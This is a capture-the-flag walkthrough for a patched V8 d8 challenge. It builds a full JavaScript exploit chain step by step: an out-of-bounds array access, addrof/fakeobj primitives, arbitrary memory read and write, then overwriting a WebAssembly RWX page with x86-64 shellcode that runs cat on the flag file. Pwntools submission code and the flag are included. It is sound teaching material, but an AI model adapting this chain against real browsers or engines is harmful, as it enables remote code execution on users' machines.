Description
A patched V8 JavaScript engine (d8) ships with a custom builtin called setHorsepower() that lets you set a JSArray's internal length field to any value. Because V8 skips bounds checks when reading and writing array elements, this gives you out-of-bounds access to the V8 heap - the first step toward arbitrary read, arbitrary write, and shellcode execution.
Setup
Download the challenge files (patched d8, server.py, diff patch) from the challenge page.
Install the matching d8 binary locally with the provided download_d8.sh script so you can develop and test the exploit offline before sending it to the remote server.
The server accepts your JavaScript exploit file over the network: send the byte length of the file first (as a newline-terminated string), then the raw file content. The server runs it under d8 and streams stdout back to you. Use pwntools to automate this.
bash download_d8.sh# Test your exploit file locally before connecting remotely:./d8 exploit.jsSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
This is a V8 browser-exploitation challenge. The patch adds a single unsafe builtin; the standard browser-pwn chain then applies: OOB access to the heap, addrof/fakeobj primitives, arbitrary read/write, WASM RWX page, shellcode. Every step below is pure JavaScript - no native binary involved.
Step 1Understand the patch: setHorsepower() sets array length unchecked
ObservationThe challenge ships a diff patch alongside the modified d8 binary, so the vulnerability is defined entirely by that patch. Reading it first shows exactly which bounds check was removed.The V8 diff adds a method to every JSArray that calls SetLength(h) directly on the backing FixedDoubleArray without validating that h is within the allocated capacity. Setting length to a large value such as 0x100 makes V8 believe the array is 256 elements long when it may only hold a handful, so array[i] for large i reads or writes memory adjacent to the array on the V8 heap.Learn more
How V8 stores arrays. A JavaScript array of floating-point numbers is backed by a
FixedDoubleArrayobject on the V8 heap. The object header contains a map pointer (4 bytes compressed), a length field (4 bytes Smi), and then the raw double elements. By inflating the length, the engine happily lets JavaScript read and write beyond the last real element -- into whatever object happens to sit next on the heap.Pointer compression. Modern V8 (version 8+) compresses heap pointers to 32 bits by storing only the lower half; the upper half (the cage base) is always the same for one process and lives in the
r13register. Exploit code therefore works with 32-bit compressed values and reconstructs full 64-bit addresses only when needed.// Helpers that convert between JavaScript float64 and BigInt, // needed because V8 exposes heap words as doubles. const buf = new ArrayBuffer(8); const f64 = new Float64Array(buf); const u32 = new Uint32Array(buf); function ftoi(f) { f64[0] = f; return (BigInt(u32[1]) << 32n) | BigInt(u32[0]); } function itof(i) { u32[0] = Number(i & 0xffff_ffffn); u32[1] = Number(i >> 32n); return f64[0]; }Step 2Build addrof and fakeobj primitives via OOB array access
ObservationsetHorsepower() inflates a FixedDoubleArray's length past its capacity. Place a float array and an object array next to each other on the heap and the out-of-bounds reads expose the object array's elements pointer, which is what gives you addrof and fakeobj.Place two arrays adjacent in memory - a float FixedDoubleArray and an object array. Call setHorsepower() on the float array with a large length. Because V8 allocates them back-to-back on the heap, reading past the end of the float array lets you see (and write) the elements pointer of the object array. Reading that pointer gives you a compressed address of any object you put into the object array (addrof). Writing a fake pointer back lets you construct a JavaScript object at an arbitrary heap address (fakeobj).js// Create adjacent arrays so the float array's OOB range covers the object array's header. let farr = [1.1, 2.2, 3.3]; let oarr = [{}, {}]; farr.setHorsepower(0x100); // expand length -- now farr[i] reaches oarr's internals // addrof: store target in oarr, read its compressed pointer through farr function addrof(obj) { oarr[0] = obj; // offset 12 (or similar) found via %DebugPrint + GDB during development return ftoi(farr[12]) & 0xffff_ffffn; } // fakeobj: write a compressed address into farr so V8 treats that memory as an object function fakeobj(addr) { farr[12] = itof(addr); return oarr[0]; }What didn't work first
Tried: Hardcode offset 12 for the addrof index without verifying it against the local d8 binary.
The index that overlaps oarr's elements pointer depends on the allocation layout of this specific V8 build. An offset borrowed from another challenge returns garbage floats rather than a valid compressed pointer. Run %DebugPrint on both arrays in the local d8 session, subtract the addresses, and divide by 8 to get the right index for this binary.
Tried: Call setHorsepower() on the object array oarr instead of the float array farr to get OOB access.
oarr holds tagged pointers rather than raw doubles, so V8 backs it with a FixedArray, not a FixedDoubleArray. Reading out of bounds through a tagged array returns Smi-encoded integers instead of raw 64-bit doubles, which breaks the float-reinterpretation helpers. The exploit needs farr to be a FixedDoubleArray whose raw words can be read as pointer-sized integers.
Learn more
Finding the offset. The exact index into
farrthat overlaps the elements pointer ofoarrdepends on the heap layout and V8 version. Use%DebugPrint(farr)and%DebugPrint(oarr)in a local d8 session (with--allow-natives-syntax) to read the addresses of both arrays, then compute the byte offset and divide by 8 to get the element index.Step 3Implement arbitrary read and write
Observationfakeobj makes V8 interpret an arbitrary heap address as a FixedDoubleArray. Build a fake array whose elements pointer you fully control and you have arbitrary read and write across the whole process.Use fakeobj to create a JavaScript object that V8 believes is a FixedDoubleArray whose elements pointer you control. By pointing that fake array at any 64-bit address on the heap (or in the process) you can read and write arbitrary memory one 8-byte word at a time. A common pattern is to maintain two ArrayBuffers side by side: overwrite the backing-store pointer of one with your target address, then read or write through a DataView over that buffer.js// A crafted FixedDoubleArray map value you recover from a real array via addrof. // Placed just before the fake elements so V8 parses the region as a double array. let fake_arr_map = /* value from %DebugPrint */ 0n; // Build a container whose elements you can repoint. let container = [itof(fake_arr_map), itof(0x400000000n), 1.1, 2.2]; let fake = fakeobj(addrof(container) + 0x30n); // points into container's elements function aar(addr) { container[2] = itof((2n << 32n) | (addr - 8n)); // elements ptr = addr - 8 return ftoi(fake[0]); } function aaw(addr, val) { container[2] = itof((2n << 32n) | (addr - 8n)); fake[0] = itof(val); }What didn't work first
Tried: Skip the -8n offset when building the fake elements pointer, pointing container[2] directly at the target address.
A fake array read starts at the first element slot, 8 bytes past the FixedDoubleArray header that holds the length. Without subtracting 8, index 0 lands on the length field rather than the target word, reading the wrong bytes and corrupting adjacent memory on writes. The adjustment is what aligns the read and write window to the intended address.
Tried: Use addrof on an ArrayBuffer directly and overwrite offset +0x20 to redirect the backing store without building the fake FixedDoubleArray first.
Without the arbitrary read the fake array provides, there is no way to verify or compute the ArrayBuffer's full 64-bit backing-store pointer. A wrong offset corrupts the ArrayBuffer's internal fields instead of redirecting its data pointer, and DataView then crashes. Establish the fake FixedDoubleArray first, and use it to probe the correct field offset for this V8 version.
Learn more
Why subtract 8 from the address. An elements pointer points at the start of the backing
FixedDoubleArray, and that object opens with an 8-byte header: a 4-byte compressed map pointer followed by a 4-byte Smi length. The first element therefore sits 8 bytes in, so pointing the fake elements ataddr - 8makes index 0 of the fake array land exactly on your target address.Step 4Obtain an RWX page via WebAssembly and execute shellcode
ObservationV8 keeps WebAssembly JIT code in a read-write-execute page and stores its address at offset 0x68 in the WasmInstance object. Use addrof and the arbitrary read to recover that address, then overwrite the page with shellcode.Instantiating even a trivial WebAssembly module causes V8 to allocate a read-write-execute (RWX) memory page for the compiled JIT code. The address of this page is stored at a known offset (0x68) from the WasmInstance object. Use addrof to find the WasmInstance, use aar to read the RWX address, then use aaw through a DataView to overwrite that page byte-by-byte with shellcode that runs cat flag.txt. Calling the exported WASM function then jumps directly into your shellcode.js// Minimal WASM module that exports a callable function. const wasm_code = new Uint8Array([ 0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127, 3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0, 5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145, 128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97, 105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0, 65,42,11 ]); const wasm_mod = new WebAssembly.Module(wasm_code); const wasm_inst = new WebAssembly.Instance(wasm_mod); const main = wasm_inst.exports.main; // Step 1: find the WasmInstance object address. const inst_addr = addrof(wasm_inst); // Step 2: read the full 64-bit RWX page address from offset 0x68. // The upper 32 bits come from a Uint8Array root leak (process-wide cage base). const rwx_lo = aar(inst_addr + 0x68n); const rwx_hi = /* cage base from Uint8Array root */ 0n; const rwx_addr = (rwx_hi << 32n) | rwx_lo; // Step 3: redirect an ArrayBuffer's backing store to the RWX page. let ab = new ArrayBuffer(0x100); const ab_addr = addrof(ab); aaw(ab_addr + 0x20n, rwx_addr); // backing_store offset varies by V8 version // Step 4: write shellcode into the RWX page through a DataView. const shellcode = new Uint8Array([ // execve("/bin/cat", ["/bin/cat", "flag.txt", NULL], NULL) // Push "flag.txt\0", keep the pointer in rbx, then push "/bin/cat\0" // and point rdi at it. argv is built on the stack and rsi points at it: // getting rsi right is the step that is easy to omit, and omitting it // runs cat with no arguments, so it waits on stdin instead of printing. 0x48,0x31,0xf6,0x56,0x48,0xbf,0x66,0x6c,0x61,0x67,0x2e, 0x74,0x78,0x74,0x57,0x48,0x89,0xe3,0x56,0x48,0xbf,0x2f, 0x62,0x69,0x6e,0x2f,0x63,0x61,0x74,0x57,0x48,0x89,0xe7, 0x56,0x53,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0x48,0x31, 0xc0,0xb0,0x3b,0x0f,0x05 ]); const dv = new DataView(ab); for (let i = 0; i < shellcode.length; i++) { dv.setUint8(i, shellcode[i]); } // Step 5: call the WASM export -- execution jumps to RWX page, shellcode runs. main();Expected output
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_...}The server captures stdout from d8 and returns it to you. The shellcode calls
execveto runcat flag.txt, and the server prints the flag back over the TCP connection.What didn't work first
Tried: Read the RWX page address at offset 0x68 from the WasmInstance using a hardcoded cage base of 0 rather than leaking it from the process.
V8 uses pointer compression, so the upper 32 bits of the RWX address come from the cage base, which ASLR randomizes per process. Set it to 0 and you get a plausible-looking 64-bit address that is not mapped, so jumping there gives a SIGSEGV rather than shellcode. Leak the cage base at runtime, commonly by reading the upper 32 bits from a Uint8Array's external pointer in the same compressed heap region.
Tried: Send the shellcode file to the server with nc rather than pwntools, piping the file content directly to the TCP connection.
The server protocol wants the JavaScript file's byte length sent first, as a newline-terminated ASCII string. A raw nc pipe sends only the file bytes, so the server reads the first few as the length, parses garbage, and either hangs or closes the connection. pwntools sends the framed length header and then the content, in the right order.
Learn more
Submitting the exploit. Write your completed JavaScript to a file, then send it to the remote server via pwntools: connect, send
str(len(js)).encode() + b"\n", then send the raw bytes of the file. The server feeds it to d8 and sends stdout back.from pwn import * js = open("exploit.js", "rb").read() p = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) p.sendline(str(len(js)).encode()) p.send(js) p.interactive()Why WASM gives you RWX. V8 compiles WASM bytecode to native machine code and stores it in an RWX page so the JIT can patch it without mapping it writable again. This is a well-known property of V8 that V8 exploitation challenges from 2019-2022 almost universally exploit: get shellcode into the RWX page, redirect execution there, game over.
Interactive tools
- Pwntools ForgeGenerate a complete pwntools exploit script from a template: ret2win, shellcode, ret2libc, ROP chain, format string, or blank scaffold. Fill the form, copy or download the .py file. Fully editable before saving.
- Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_...}
Browser exploitation chain: setHorsepower() OOB -> addrof/fakeobj -> arbitrary R/W -> WASM RWX shellcode.